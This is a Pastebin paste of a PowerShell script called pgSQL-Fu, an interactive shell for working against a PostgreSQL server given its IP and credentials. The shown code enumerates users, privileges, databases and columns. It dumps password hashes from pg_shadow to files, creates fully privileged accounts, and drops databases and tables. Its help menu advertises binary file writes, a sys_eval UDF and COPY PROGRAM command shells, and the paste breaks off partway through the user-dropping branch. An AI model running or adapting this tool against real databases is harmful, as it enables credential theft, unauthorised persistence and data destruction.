Guest User

pgSQL-Fu.ps1

a guest
Sep 27th, 2017
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <#
  2. .SYNOPSIS
  3. pgSQL-Fu Connection Assistant
  4.  
  5. .DESCRIPTION
  6. Provides a Postgres-SQL Shell w/builtin functions to make life easy
  7.  
  8. NOTE: Uses the .NET ODBC Postgres Driver under the hood
  9.    Download: https://www.postgresql.org/ftp/odbc/versions/msi/
  10.    NOTE: DSN Does NOT need to be configured, .NET will handle for us on the fly
  11.  
  12. .PARAMETER Ip
  13. The IP of listening Postgres SQL Service
  14.  
  15. .PARAMETER User
  16. The username to authenticate as (default: postgres)
  17.  
  18. .PARAMETER Password
  19. The password to authenticate as
  20.  
  21. .PARAMETER Database
  22. Optional Database name to use for authentication request (default: none)
  23.  
  24. .EXAMPLE
  25. .\pgsqlFu.ps1 -Ip 10.10.10.10 -User postgres -Password postgres
  26. #>
  27.  
  28. param (
  29.     [Parameter(Mandatory = $True)][string]$ip,
  30.     [string]$user = "postgres",
  31.     [string]$password = "",
  32.     [string]$database = "",
  33.     [int]$port = 5432
  34. )
  35.  
  36.  
  37. <# Simple function to print the 0x31337 application banner #>
  38. function PrintBanner {
  39.     Invoke-Expression "cls";
  40.     Write-Host "";
  41.     Write-Host "[*] Postgres SQL-Fu Client Assistant";
  42.     Write-Host "";
  43. }
  44.  
  45.  
  46. <# Generate a random string, of length $count #>
  47. function randz([int]$count) {
  48.     return -join ((65..90) + (97..122) | Get-Random -Count $count | % {[char]$_});
  49. }
  50.  
  51.  
  52. <# Convert a EXE/Bin file into a hex string #>
  53. function convertFileContentToHexStr([string]$filename) {
  54.     $hexStr = "";
  55.     if(Test-Path -Path $filename) {
  56.         Get-Content -Encoding byte $filename | %{ "{0:x}" -f $_ } | %{ if ( $_.Length -eq 1 ) { $hexStr = $hexStr + 0 + $_ } else { $hexStr = $hexStr + $_ } }
  57.     } else {
  58.         Write-Host "[x] Unable to Load File for Hex Conversion: $filename";
  59.         Write-Host "   [x] Check path or permissions and try again...";
  60.     }
  61.     return $hexStr;
  62. }
  63.  
  64.  
  65. <# Convret string to Hex string #>
  66. function convertStrToHex([string]$str) {
  67.     $hexStr = "";
  68.     Foreach ($element in $str.ToCharArray()) {$hexStr = $hexStr + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))}
  69.     return $hexStr;
  70. }
  71.  
  72.  
  73. <#
  74.     Check & Confirm we can connect to Postgres SQL instance
  75.     Returns True on success, False otherwise
  76.  
  77. #>
  78. function can_we_connect {
  79.     $status = $False;
  80.     $myConObj = New-Object System.Data.Odbc.OdbcConnection;
  81.     # x86 Driver Call...
  82.     $myConnectStr = "Driver={PostgreSQL UNICODE};Server=$ip;Port=$port;Database=$database;Uid=$user;Pwd=$password;";
  83.     $myConObj.ConnectionString = $myConnectStr;
  84.     $Error.Clear();
  85.     $msg="";
  86.     try {
  87.         # Try to open connection and see if it errors out (fail) or not (success)
  88.         $myConObj.Open();
  89.         $status = $True;
  90.         $myConObj.Close();
  91.     } catch {
  92.         $msg = $_.Exception.Message;
  93.         if($msg -match 'IM002') {
  94.             try {
  95.                 # x64 Driver Call if x86 fails...
  96.                 $myConObj = New-Object System.Data.Odbc.OdbcConnection;
  97.                 $myConnectStr = "Driver={PostgreSQL UNICODE(x64)};Server=$ip;Port=$port;Database=$database;Uid=$user;Pwd=$password;";
  98.                 $myConObj.ConnectionString = $myConnectStr;
  99.                 $Error.Clear();
  100.                 $myConObj.Open();
  101.                 $status = $True;
  102.                 $myConObj.Close();
  103.             } catch {
  104.                 $msg = $_.Exception.Message;
  105.             }
  106.         }
  107.     }
  108.     return New-Object PSObject -Property @{
  109.         conStr = $myConnectStr;
  110.         status = $status;
  111.         msg = $msg;
  112.     }
  113. }
  114.  
  115.  
  116. <# Run Postgres SQL Query & Return result object #>
  117. function pgsql_query([string]$connStr, [string]$sqlQuery) {
  118.     $result = "";
  119.     $rowCount=0;
  120.     $msg = "";
  121.     try {
  122.         $Error.Clear();
  123.         $myConObj = New-Object System.Data.Odbc.OdbcConnection;
  124.         $myConObj.ConnectionString = $connStr;
  125.         $Error.Clear();
  126.         $myConObj.Open();
  127.         $cmd = New-object System.Data.Odbc.OdbcCommand($sqlQuery,$myConObj);
  128.         $DataSet = New-Object system.Data.DataSet;
  129.         (New-Object system.Data.odbc.odbcDataAdapter($cmd)).fill($DataSet) | out-null;
  130.         $myConObj.Close();
  131.         $result = $DataSet.Tables[0];
  132.     } catch {
  133.         $msg = "$Error[0]";
  134.     } finally {
  135.         if($myConObj -ne $NULL) {
  136.             $myConObj.Close();
  137.         }
  138.     }
  139.     return New-Object PSObject -Property @{
  140.         rowCount = $rowCount;
  141.         result = $result;
  142.         msg = $msg;
  143.     }
  144. }
  145.  
  146.  
  147. <# Query & Return basic pgsql host information #>
  148. function pgsql_basic_info([string]$connStr) {
  149.     $version = (pgsql_query $connStr "SELECT version() v;").result.v;
  150.     $serverVersion = (pgsql_query $connStr "show server_version;").result.server_version;
  151.     $arch = $version.split(',')[-1].TrimStart();
  152.     $datadir = (pgsql_query $connStr "SELECT current_setting('data_directory');").result.current_setting;
  153.     $hbaconf = (pgsql_query $connStr "SELECT current_setting('hba_file');").result.current_setting;
  154.     $d = $datadir[0..1] -join ""
  155.     if($d.ToLower() -match "^[a-z]:$") {
  156.         $os = "Windows";
  157.     } else {
  158.         $os = "Linux";
  159.     }
  160.     return New-Object PSObject -Property @{
  161.         os = $os;
  162.         arch = $arch;
  163.         version = $version;
  164.         serverVersion = $serverVersion;
  165.         hbaconf = $hbaconf;
  166.         datadir = $datadir;
  167.     }
  168. }
  169.  
  170.  
  171. <# Builds Shell Help String for Output after call #>
  172. function shell_help($os) {
  173.     $helpOut = "`n[*] Postgres pgSQL-Fu Usage Options: `n"
  174.     $helpOut += "          <SQL> => Execute Provided SQL Query`n";
  175.     $helpOut += "            cls => Clear Terminal`n";
  176.     $helpOut += "      cmd <cmd> => Execute a Local OS Command (*this box*)`n";
  177.     $helpOut += "   exit or quit => Exit pgSQL-Fu Shell Session`n";
  178.     $helpOut += "           info => SHOW Basic Info`n";
  179.     $helpOut += "          users => SHOW pgSQL Users`n";
  180.     $helpOut += "          privs => SHOW pgSQL User Privileges`n";
  181.     $helpOut += "            dbs => SHOW Available Databases`n";
  182.     $helpOut += "           tbls => SHOW Tables for All Database`n";
  183.     $helpOut += "        db.tbls => SHOW Tables for Known Database`n";
  184.     $helpOut += "           cols => SHOW Columns for All Tables`n";
  185.     $helpOut += "       tbl.cols => SHOW Columns for Known Table`n";
  186.     $helpOut += "         new.db => CREATE New Database`n";
  187.     $helpOut += "       new.user => CREATE New pgSQL User Account`n";
  188.     $helpOut += "       drop.tbl => DROP a Table`n";
  189.     $helpOut += "      drop.user => DROP a pgSQL User Account`n";
  190.     $helpOut += "      passwords => DUMP pgSQL Users & Password Hashes`n";
  191.     $helpOut += "       dump.tbl => DUMP Table`n";
  192.     $helpOut += "        dump.db => DUMP Database`n";
  193.     $helpOut += "       dump.all => DUMP All Databases`n";
  194.     $helpOut += "           read => READ File(s) using COPY FROM`n";
  195.     $helpOut += "     write.file => WRITE File using COPY TO`n";
  196.     $helpOut += "      write.bin => WRITE Binary (EXE/SO) File using pg_largeobject`n";
  197.     $helpOut += "            udf => WRITE UDF sys_eval()`n";
  198.     $helpOut += "      sys.shell => UDF sys_eval() Command Shell`n";
  199.     $helpOut += "     copy.shell => COPY PROGRAM (9.3+) Command Shell`n";
  200.     $helpOut += "`n";
  201.     return $helpOut;
  202. }
  203.  
  204.  
  205.  
  206. <# Handle CTRL+C Interupt and Exit Gracefully #>
  207. [console]::TreatControlCAsInput = $True;
  208.  
  209. <# Create an output directory if one doesn't exist already #>
  210. $outDir = (Get-Item -Path ".\" -Verbose).FullName + "\output";
  211. if(!(Test-Path -PathType Container $outDir)) {
  212.     New-Item -ItemType Directory -Force -Path $outDir;
  213. }
  214. $outDir = $outDir + "\" + $ip;
  215. if(!(Test-Path -PathType Container $outDir)) {
  216.     New-Item -ItemType Directory -Force -Path $outDir | Out-Null;
  217. }
  218.  
  219. # START
  220. PrintBanner;
  221. $Error.Clear();
  222. $r = can_we_connect;
  223. if($r.status) {
  224.     $connectionString = $r.conStr;
  225.     $basicInfo = pgsql_basic_info $connectionString;
  226.     Write-Host "[*] Connected to Postgres SQL Instance";
  227.     Write-Host "   [+] Host: $($ip):$($port)";
  228.     Write-Host "   [+] OS: $($basicInfo.os.ToUpper()), Arch: $($basicInfo.arch.ToUpper())";
  229.     Write-Host "   [+] Version: $($basicInfo.version)";
  230.     Write-Host "   [+] Config: $($basicInfo.hbaconf)";
  231.     Write-Host "   [+] Datadir: $($basicInfo.datadir)";
  232.     Write-Host "";
  233.     Write-Host "[*] Dropping to pgsql-fu shell...";
  234.     Write-Host "   [+] Type EXIT or QUIT to end session";
  235.     Write-Host "   [+] Type HELP to see available options`n`n";
  236.     While($True) {
  237.         $userArg = Read-Host "(pgsql-fu)> ";
  238.         Write-Host "";
  239.         if($userArg.Trim() -eq "") {
  240.             continue;
  241.         }
  242.         if($userArg.ToLower() -match '^exit$|^quit$\^x$') {
  243.             Write-Host "   [x] OK, closing MySQL-Fu shell session...";
  244.             Break;
  245.         } elseif($userArg.ToLower() -eq 'cls' -Or $userArg.ToLower() -eq 'clear') {
  246.             PrintBanner;
  247.         } elseif($userArg.ToLower() -match '^cmd') {
  248.             $cmd = $userArg.Substring(4);
  249.             Invoke-Expression "$cmd";
  250.             Write-Host "";
  251.         } elseif($userArg.ToLower() -match '^\?$' -Or $userArg.ToLower() -match '^h$' -Or $userArg.ToLower() -match '^help') {
  252.             $shout = shell_help $basicInfo.os;
  253.             Write-Host $shout;
  254.        
  255.         } elseif($userArg.ToLower() -match '^basic' -Or $userArg.ToLower() -match '^info') {
  256.             $basicInfo = pgsql_basic_info  $connectionString;
  257.             $basicOut =
  258.             $basicOut  = "[*] Postgres SQL Host Info: $($ip):$($port)`n";
  259.             $basicOut += "   [+] Hostname: $($basicInfo.hostname)`n";
  260.             $basicOut += "   [+] OS: $($basicInfo.os.ToUpper()), Arch: $($basicInfo.arch.ToUpper())`n";
  261.             $basicOut += "   [+] DB Version: $($basicInfo.version)`n";
  262.             $basicOut += "   [+] Config: $($basicInfo.hbaconf)`n";
  263.             $basicOut += "   [+] Datadir: $($basicInfo.datadir)`n";
  264.             Write-Host $basicOut;
  265.             New-Item -path $outDir -Name "pgsqlfu-basic_info.txt" -Value $basicOut -ItemType file -force | Out-Null;
  266.            
  267.         } elseif($userArg.ToLower() -match '^users$') {
  268.             $sqlResult = pgsql_query $connectionString "SELECT usename FROM pg_user;";
  269.             if($sqlResult.msg -eq "") {
  270.                 $usersOut = "[*] Current Postgres Users:`n";
  271.                 if($sqlResult.rowCount -eq 1) {
  272.                     $usersOut += "   [+] $($sqlResult.result.usename)`n";
  273.                 } else {
  274.                     foreach($row in $sqlResult.result) {
  275.                         $usersOut += "   [+] $($row.usename)`n";
  276.                     }
  277.                 }
  278.                 $usersOut += "`n";
  279.                 Write-Host $usersOut;
  280.                 New-Item -path $outDir -Name "pgsqlfu-users.txt" -Value $usersOut -ItemType file -force | Out-Null;
  281.             } else {
  282.                 Write-Host "[x] Problem Fetching Postgres User List`n`t$($sqlResult.msg)`n";
  283.             }
  284.        
  285.         } elseif($userArg.ToLower() -match '^privs') {
  286.             $sqlResult = pgsql_query $connectionString "SELECT usename, usesuper, usecreatedb, usecatupd, useconfig, userepl FROM pg_user;";
  287.             if($sqlResult.msg -eq "") {
  288.                 $userPrivsOut = "[*] Current User Privileges:`n";
  289.                 if($sqlResult.rowCount -eq 1) {
  290.                     $userPrivsOut += "   [+] USER: $($sqlResult.result.usename)`n";
  291.                     if($sqlResult.result.usesuper -eq 1) {
  292.                         $userPrivsOut += "      [-] SUPER: YES`n";
  293.                     } else {
  294.                         $userPrivsOut += "      [-] SUPER: NO`n";
  295.                     }
  296.                     if($sqlResult.result.usecreatedb -eq 1) {
  297.                         $userPrivsOut += "      [-] CREATE:  YES`n";
  298.                     } else {
  299.                         $userPrivsOut += "      [-] CREATE: NO`n";
  300.                     }
  301.                     if($sqlResult.result.usecatupd -eq 1) {
  302.                         $userPrivsOut += "      [-] UPDATE:  YES`n";
  303.                     } else {
  304.                         $userPrivsOut += "      [-] UPDATE: NO`n";
  305.                     }
  306.                     if($sqlResult.result.useconfig -eq 1) {
  307.                         $userPrivsOut += "      [-] CONFIG:  YES`n";
  308.                     } else {
  309.                         $userPrivsOut += "      [-] CONFIG: NO`n";
  310.                     }
  311.                     if($sqlResult.result.userepl -eq 1) {
  312.                         $userPrivsOut += "      [-] REPLICATE:  YES`n";
  313.                     } else {
  314.                         $userPrivsOut += "      [-] REPLICATE: NO`n";
  315.                     }
  316.                 } else {
  317.                     foreach($row in $sqlResult.result) {
  318.                         $userPrivsOut += "   [+] USER: $($row.usename)`n";
  319.                         if($row.usesuper -eq 1) {
  320.                             $userPrivsOut += "      [-] SUPER USER: YES`n";
  321.                         } else {
  322.                             $userPrivsOut += "      [-] SUPER USER: NO`n";
  323.                         }
  324.                         if($row.usecreatedb -eq 1) {
  325.                             $userPrivsOut += "      [-] CREATE DB:  YES`n";
  326.                         } else {
  327.                             $userPrivsOut += "      [-] CREATE DB: NO`n";
  328.                         }
  329.                         if($row.usecatupd -eq 1) {
  330.                             $userPrivsOut += "      [-] UPDATE DB:  YES`n";
  331.                         } else {
  332.                             $userPrivsOut += "      [-] UPDATE DB: NO`n";
  333.                         }
  334.                         if($row.useconfig -eq 1) {
  335.                             $userPrivsOut += "      [-] CONFIG:  YES`n";
  336.                         } else {
  337.                             $userPrivsOut += "      [-] CONFIG: NO`n";
  338.                         }
  339.                         if($row.userepl -eq 1) {
  340.                             $userPrivsOut += "      [-] REPLICATE:  YES`n";
  341.                         } else {
  342.                             $userPrivsOut += "      [-] REPLICATE: NO`n";
  343.                         }
  344.                     }
  345.                 }
  346.                 $userPrivsOut += "`n`n[*] User Table Privileges:`n";
  347.                 $sqlResult = pgsql_query $connectionString "SELECT grantee, table_name, privilege_type FROM information_schema.role_table_grants";
  348.                 $gt = @(); $tb = @();
  349.                 $grantees = {$gt}.Invoke();                
  350.                 $tableNames = {$tb}.Invoke();
  351.                 if($sqlResult.msg -eq "") {
  352.                     foreach($row in $sqlResult.result) {
  353.                         if($grantees -notcontains $row.grantee) {
  354.                             if($grantees.Count -gt 0) { $userPrivsOut += "`n"; }
  355.                             $grantees.Add($row.grantee);
  356.                             $userPrivsOut += "   [+] USER: $($row.grantee)`n";
  357.                         }
  358.                         if($tableNames -notcontains $row.table_name) {
  359.                             $tableNames.Add($row.table_name);
  360.                             $userPrivsOut += "      [-] TABLE: $($row.table_name)`n";
  361.                         }
  362.                         $userPrivsOut += "         [+] PRIV: $($row.privilege_type)`n";
  363.                     }
  364.                 } else {
  365.                     $userPrivsOut += "   [x] Problem fetching table privileges`n";
  366.                     $userPrivsOut += "$($sqlResult.msg)`n"
  367.                 }              
  368.                 Write-Host $userPrivsOut;
  369.                 New-Item -path $outDir -Name "pgsqlfu-user_privs.txt" -Value $userPrivsOut -ItemType file -force | Out-Null;
  370.             } else {
  371.                 Write-Host "[x] Problem Fetching Postgres Users & Privileges`n`t$($sqlResult.msg)`n";
  372.             }          
  373.  
  374.         } elseif($userArg.ToLower() -match '^dbs' -Or $userArg.ToLower() -match '^databases') {
  375.             $sqlResult = pgsql_query $connectionString "SELECT datname FROM pg_database;";
  376.             if($sqlResult.result -ne $NULL) {
  377.                 $dbOut = "[*] Available Databases:`n";
  378.                 foreach($row in $sqlResult.result) {
  379.                     if($row.datname -ne $NULL) {
  380.                         $dbOut += "   [+] $($row.datname)`n";
  381.                     }
  382.                 }
  383.                 Write-Host $dbOut;
  384.                 New-Item -path $outDir -Name "pgsqlfu-available_databases.txt" -Value $dbOut -ItemType file -force | Out-Null;
  385.             } else {
  386.                 Write-Host "   [x] Unable to Get Database Listing";
  387.             }
  388.             Write-Host "";
  389.            
  390.         } elseif($userArg.ToLower() -match '^pass' -Or $userArg.ToLower() -match '^pwd') {
  391.             $sqlResult = pgsql_query $connectionString "SELECT usename, passwd FROM pg_shadow;";
  392.             if($sqlResult.msg -eq "") {
  393.                 $pgsqlCredsOut = "[*] Postgres SQL Users & Passwords:`n";
  394.                 foreach($row in $sqlResult.result) {
  395.                     $pgsqlCredsOut += "   [+] User: $($row.usename)`n";
  396.                     $pgsqlCredsOut += "      [-] Password: $($row.passwd)`n";
  397.                 }
  398.                 Write-Host $pgsqlCredsOut;
  399.                 New-Item -path $outDir -Name "pgsqlfu-users_and_passwords.txt" -Value $pgsqlCredsOut -ItemType file -force | Out-Null;
  400.             } else {
  401.                 Write-Host "[x] Problem Fetching Users & Passwords";
  402.                 $sqlResult.msg
  403.             }
  404.             Write-Host "";
  405.  
  406.         } elseif($userArg.ToLower() -match '^tbls' -Or $userArg.ToLower() -match '^tables') {
  407.             $sql = "SELECT table_catalog, table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;";
  408.             $sqlResult = pgsql_query $connectionString $sql;
  409.             if($sqlResult.msg -eq "") {
  410.                 $d = @(); $s = @();
  411.                 $knowndbs = {$d}.Invoke();
  412.                 $knowncatalogs = {$d}.Invoke();
  413.                 $tblOut = "[*] Available Tables by Database: `n";
  414.                 foreach($row in $sqlResult.result) {
  415.                     if($knowncatalogs -notcontains $row.table_catalog) {
  416.                         if($knowncatalogs.Count -gt 0) { $tblOut += "`n"; }
  417.                         $knowncatalogs.Add($row.table_catalog);
  418.                         $tblOut += "   [+] TABLE CATALOG: $($row.table_catalog)`n";
  419.                     }
  420.                     if($knowndbs -notcontains $row.table_schema) {
  421.                         $knowndbs.Add($row.table_schema);
  422.                         $tblOut += "      [+] TABLE SCHEMA: $($row.table_schema)`n";
  423.                     }
  424.                     $tblOut += "         [-] $($row.table_name)`n";
  425.                 }
  426.                 Write-Host $tblOut;
  427.                 New-Item -path $outDir -Name "pgsqlfu-database.tables.txt" -Value $tblOut -ItemType file -force | Out-Null;
  428.             } else {
  429.                 Write-Host "[x] Problem Fetching Database & Tables Listing";
  430.                 $sqlResult.msg
  431.             }          
  432.             Write-Host "";
  433.            
  434.         } elseif($userArg.ToLower() -match '^db.tbl' -Or $userArg.ToLower() -match '^db.tables') {
  435.             $sqlResult = pgsql_query $connectionString "SELECT datname FROM pg_database;";
  436.             if($sqlResult.result -ne $NULL) {
  437.                 $dbOut = "[*] Available Table Catalogs (Databases):`n";
  438.                 foreach($row in $sqlResult.result) {
  439.                     if($row.datname -ne $NULL) {
  440.                         $dbOut += "   [+] TABLE CATALOG: $($row.datname)`n";
  441.                     }
  442.                 }
  443.                 $dbOut += "`n";
  444.                 Write-Host $dbOut;
  445.             }
  446.             $dbName = Read-Host "ENTER Table Catalog (Database) Name";
  447.             Write-Host "";
  448.             $sql = "SELECT table_schema,table_name FROM information_schema.tables WHERE table_catalog = '$($dbName)' ORDER BY table_schema,table_name;";
  449.             $sqlResult = pgsql_query $connectionString $sql;
  450.             if($sqlResult.result -ne $NULL) {
  451.                 $dbOut = "[*] Available Table Schemas in $($dbName):`n";
  452.                 $s = @(); $knowndbs = {$d}.Invoke();
  453.                 foreach($row in $sqlResult.result) {
  454.                     if($knowndbs -notcontains $row.table_schema) {
  455.                         $knowndbs.Add($row.table_schema);
  456.                         $dbOut += "   [+] $($row.table_schema)`n";
  457.                     }
  458.                 }
  459.                 $dbOut += "`n";
  460.                 Write-Host $dbOut;
  461.             }
  462.             $dbSchemaName = Read-Host "ENTER Table Schema Name";
  463.             Write-Host "";
  464.             $sql = "SELECT table_name FROM information_schema.tables WHERE table_catalog = '$($dbName)' AND table_schema = '$($dbSchemaName)' ORDER BY table_schema,table_name;";
  465.             $sqlResult = pgsql_query $connectionString $sql;
  466.             if($sqlResult.result -ne $NULL) {
  467.                 $dbTblsOut = "[*] DB:$($dbName), SCHEMA: $($dbSchemaName):`n";
  468.                 $dbTblsOut += "[*] Available Tables:`n";
  469.                 foreach($row in $sqlResult.result) {
  470.                     $dbTblsOut += "   [+] $($row.table_name)`n";
  471.                 }
  472.                 $dbTblsOut += "`n";
  473.                 Write-Host $dbTblsOut;
  474.                 New-Item -path $outDir -Name "pgsqlfu-$($dbName).$($dbSchemaName).tables.txt" -Value $dbTblsOut -ItemType file -force | Out-Null;
  475.             } else {
  476.                 Write-Host "[x] Problem Fetching Tables From: $($dbName).$($dbSchemaName)";
  477.                 $sqlResult.msg;
  478.             }
  479.             Write-Host "";
  480.            
  481.         } elseif($userArg.ToLower() -match '^cols' -Or $userArg.ToLower() -match '^columns') {
  482.             $sql = "SELECT table_catalog, table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;";
  483.             $sqlResult = pgsql_query $connectionString $sql;
  484.             if($sqlResult.msg -eq "") {
  485.                 $d = @(); $s = @();
  486.                 $knowndbs = {$d}.Invoke();
  487.                 $knowncatalogs = {$d}.Invoke();
  488.                 $colOut = "[*] Available Columns by Catalog, Schema, Table: `n";
  489.                 foreach($row in $sqlResult.result) {
  490.                     if($knowncatalogs -notcontains $row.table_catalog) {
  491.                         if($knowncatalogs.Count -gt 0) { $colOut += "`n"; }
  492.                         $knowncatalogs.Add($row.table_catalog);
  493.                         $colOut += "   [+] TABLE CATALOG: $($row.table_catalog)`n";
  494.                     }
  495.                     if($knowndbs -notcontains $row.table_schema) {
  496.                         $knowndbs.Add($row.table_schema);
  497.                         $colOut += "      [+] TABLE SCHEMA: $($row.table_schema)`n";
  498.                     }
  499.                     $colOut += "         [-] TABLE: $($row.table_name)`n";
  500.                    
  501.                     $sql = "SELECT column_name FROM information_schema.columns WHERE table_catalog='$($row.table_catalog)' AND table_schema='$($row.table_schema)' AND table_name ='$($row.table_name)';";
  502.                     $sqlResult = pgsql_query $connectionString $sql;
  503.                     if($sqlResult.msg -eq "") {
  504.                         foreach($row in $sqlResult.result) {
  505.                             $colOut += "            [+] $($row.column_name)`n";
  506.                         }
  507.                     } else {
  508.                         $colOut += "            [x] NO Columns Returned`n";
  509.                     }                  
  510.                 }
  511.                 Write-Host $colOut;
  512.                 New-Item -path $outDir -Name "pgsqlfu-database.tables.columns.txt" -Value $colOut -ItemType file -force | Out-Null;
  513.             } else {
  514.                 Write-Host "[x] Problem Fetching Columns by Database, Schema, Tables";
  515.                 $sqlResult.msg
  516.             }          
  517.             Write-Host "";
  518.            
  519.         } elseif($userArg.ToLower() -match '^tbl.col') {
  520.             $tblName = Read-Host "ENTER Table Name";
  521.             Write-Host "";
  522.             $sql = "SELECT table_catalog, table_schema, column_name, data_type FROM information_schema.columns WHERE table_name ='$($tblName)';";
  523.             $sqlResult = pgsql_query $connectionString $sql;
  524.             if($sqlResult.msg -eq "") {
  525.                 $tcount=0;
  526.                 foreach($row in $sqlResult.result) {
  527.                     if($tcount -eq 0) {
  528.                         $colOut  = "[*] DB: $($row.table_catalog), SCHEMA: $($row.table_schema)`n";
  529.                         $colOut += "   [+] Columns in Table: $($tblName)`n";
  530.                         $tcount++;
  531.                     }
  532.                     $colOut += "      [-] $($row.column_name) ($($row.data_type))`n";
  533.                 }
  534.                 Write-Host $colOut;
  535.                 New-Item -path $outDir -Name "pgsqlfu-$($tblName).columns.txt" -Value $colOut -ItemType file -force | Out-Null;
  536.             } else {
  537.                 Write-Host "   [x] Problem Fetching Columns from $($tblName)";
  538.                 $sqlResult.msg
  539.             }
  540.             Write-Host "";
  541.            
  542.         } elseif($userArg.ToLower() -match '^new.db' -Or $userArg.ToLower() -match '^new.database') {
  543.             $dbName = Read-Host "ENTER Database Name to Create";
  544.             Write-Host "";
  545.             $sqlResult = pgsql_query $connectionString "CREATE DATABASE $($dbName);";
  546.             if($sqlResult.msg -eq "") {
  547.                 Write-Host "[*] Created New Database: $($dbName)";
  548.                 $sqlResult = pgsql_query $connectionString "SELECT datname FROM pg_database;";
  549.                 if($sqlResult.result -ne $NULL) {
  550.                     Write-Host "   [+] Updated Database Listing:";
  551.                     $dbOut = "[*] Available Databases:`n";
  552.                     foreach($row in $sqlResult.result) {
  553.                         if($row.datname -ne $NULL) {
  554.                             Write-Host "      [-] $($row.datname)";
  555.                             $dbOut += "   [+] $($row.datname)`n";
  556.                         }
  557.                     }
  558.                     New-Item -path $outDir -Name "pgsqlfu-available_databases.txt" -Value $dbOut -ItemType file -force | Out-Null;
  559.                 } else {
  560.                     Write-Host "   [x] Unable to Get Updated Database Listing";
  561.                 }              
  562.             } else {
  563.                 Write-Host "   [x] Problem Creating New Database $($dbName)";
  564.                 $sqlResult.msg
  565.             }
  566.             Write-Host "";
  567.            
  568.         } elseif($userArg.ToLower() -match '^new\.user') {
  569.             $newUserName = Read-Host "ENTER New Username to CREATE";
  570.             Write-Host "";
  571.             $newUserPass = Read-Host "ENTER New User's Password";
  572.             Write-Host "";
  573.             Write-Host "[*] Attempting to create new user account";
  574.             Write-Host "   [+] User: $($newUserName)";
  575.             Write-Host "   [+] Pass: $($newUserPass)`n";
  576.             $sql1 = "CREATE USER $($newUserName) WITH PASSWORD '$($newUserPass)';";
  577.             $sql2 = "CREATE DATABASE $($newUserName);";
  578.             $sql3 = "GRANT ALL PRIVILEGES ON DATABASE $($newUserName) TO $($newUserName);";
  579.             $sql4 = "GRANT ALL ON ALL TABLES IN SCHEMA $($newUserName) TO $($newUserName);";
  580.             $sql5 = "ALTER DEFAULT PRIVILEGES IN SCHEMA $($newUserName) GRANT ALL ON ALL TABLES TO $($newUserName);";
  581.             $sql6 = "ALTER DEFAULT PRIVILEGES IN SCHEMA $($newUserName) GRANT ALL ON ALL SEQUENCES TO $($newUserName);";
  582.             $sqlResult = pgsql_query $connectionString $sql1;
  583.             if($sqlResult.msg -eq "") {
  584.                 $sqlResult = pgsql_query $connectionString $sql2;
  585.                 if($sqlResult.msg -ne "") {
  586.                     Write-Host "   [x] Problem Creating New User's Database";
  587.                     $sqlResult.msg
  588.                 }
  589.                 $sqlResult = pgsql_query $connectionString $sql3;
  590.                 if($sqlResult.msg -eq "") {
  591.                     $sqlResult = pgsql_query $connectionString $sql4;
  592.                     $sqlResult = pgsql_query $connectionString $sql5;
  593.                     $sqlResult = pgsql_query $connectionString $sql6;
  594.                     Write-Host "[*] Successfully Created New User: $($newUserName)";                       
  595.                     $sqlResult = pgsql_query $connectionString "SELECT usename FROM pg_user;";
  596.                     if($sqlResult.msg -eq "") {
  597.                         Write-Host "[*] Updated Postgres User List: ";
  598.                         $usersOut = "[*] Current Postgres Users:`n";
  599.                         if($sqlResult.rowCount -eq 1) {
  600.                             Write-Host "   [+] $($sqlResult.result.usename)";
  601.                             $usersOut += "   [+] $($sqlResult.result.usename)`n";
  602.                         } else {
  603.                             foreach($row in $sqlResult.result) {
  604.                                 Write-Host "   [+] $($row.usename)";
  605.                                 $usersOut += "   [+] $($row.usename)`n";
  606.                             }
  607.                         }
  608.                         $usersOut += "`n";
  609.                         New-Item -path $outDir -Name "pgsqlfu-users.txt" -Value $usersOut -ItemType file -force | Out-Null;
  610.                     } else {
  611.                         Write-Host "[x] Problem Fetching Postgres User List`n`t$($sqlResult.msg)`n";
  612.                     }                      
  613.                 } else {
  614.                     Write-Host "   [x] Problem Granting New User Privileges";
  615.                     $sqlResult.msg
  616.                 }
  617.             } else {
  618.                 Write-Host "   [x] Problem Creating New User $($newUserName)";
  619.                 $sqlResult.msg
  620.             }          
  621.             Write-Host "";
  622.            
  623.         } elseif($userArg.ToLower() -match '^drop\.db' -Or $userArg.ToLower() -match '^drop\.database') {
  624.             $sqlResult = pgsql_query $connectionString "SELECT datname FROM pg_database;";
  625.             if($sqlResult.result -ne $NULL) {
  626.                 $dbOut = "[*] Available Databases:`n";
  627.                 foreach($row in $sqlResult.result) {
  628.                     if($row.datname -ne $NULL) {
  629.                         $dbOut += "   [+] $($row.datname)`n";
  630.                     }
  631.                 }
  632.                 Write-Host $dbOut;
  633.             }
  634.             $dropDbName = Read-Host "ENTER Database Name to DROP";
  635.             Write-Host "";
  636.             $sql = "DROP DATABASE $($dropDbName);";
  637.             $sqlResult = pgsql_query $connectionString $sql;
  638.             if($sqlResult.msg -eq "") {
  639.                 Write-Host "[*] Successfully DROPPED Database: $($dropDbName)";
  640.                 $sqlResult = pgsql_query $connectionString "SELECT datname FROM pg_database;";
  641.                 if($sqlResult.result -ne $NULL) {
  642.                     $dbOut = "[*] Available Databases:`n";
  643.                     foreach($row in $sqlResult.result) {
  644.                         if($row.datname -ne $NULL) {
  645.                             $dbOut += "   [+] $($row.datname)`n";
  646.                         }
  647.                     }
  648.                     Write-Host $dbOut;
  649.                     New-Item -path $outDir -Name "pgsqlfu-available_databases.txt" -Value $dbOut -ItemType file -force | Out-Null;
  650.                 } else {
  651.                     Write-Host "   [x] Unable to Get Updated Database Listing";
  652.                     $sqlResult.msg;
  653.                 }          
  654.             } else {
  655.                 Write-Host "[x] Problem DROPing Database: $($dropDbName)";
  656.                 $sqlResult.msg
  657.             }
  658.             Write-Host "";
  659.            
  660.         } elseif($userArg.ToLower() -match '^drop\.tbl' -Or $userArg.ToLower() -match '^drop\.table') {
  661.             $dropTblName = Read-Host "ENTER Table Name to DROP";
  662.             Write-Host "";
  663.             $sql = "DROP TABLE $($dropTblName);";
  664.             $sqlResult = pgsql_query $connectionString $sql;
  665.             if($sqlResult.msg -eq "") {
  666.                 Write-Host "[*] Successfully DROPPED Table: $($dropTblName)";
  667.             } else {
  668.                 Write-Host "[x] Problem DROPing Table: $($dropTblName)";
  669.                 $sqlResult.msg
  670.             }
  671.             Write-Host "";
  672.  
  673.         } elseif($userArg.ToLower() -match '^drop\.usr' -Or $userArg.ToLower() -match '^drop\.user') {
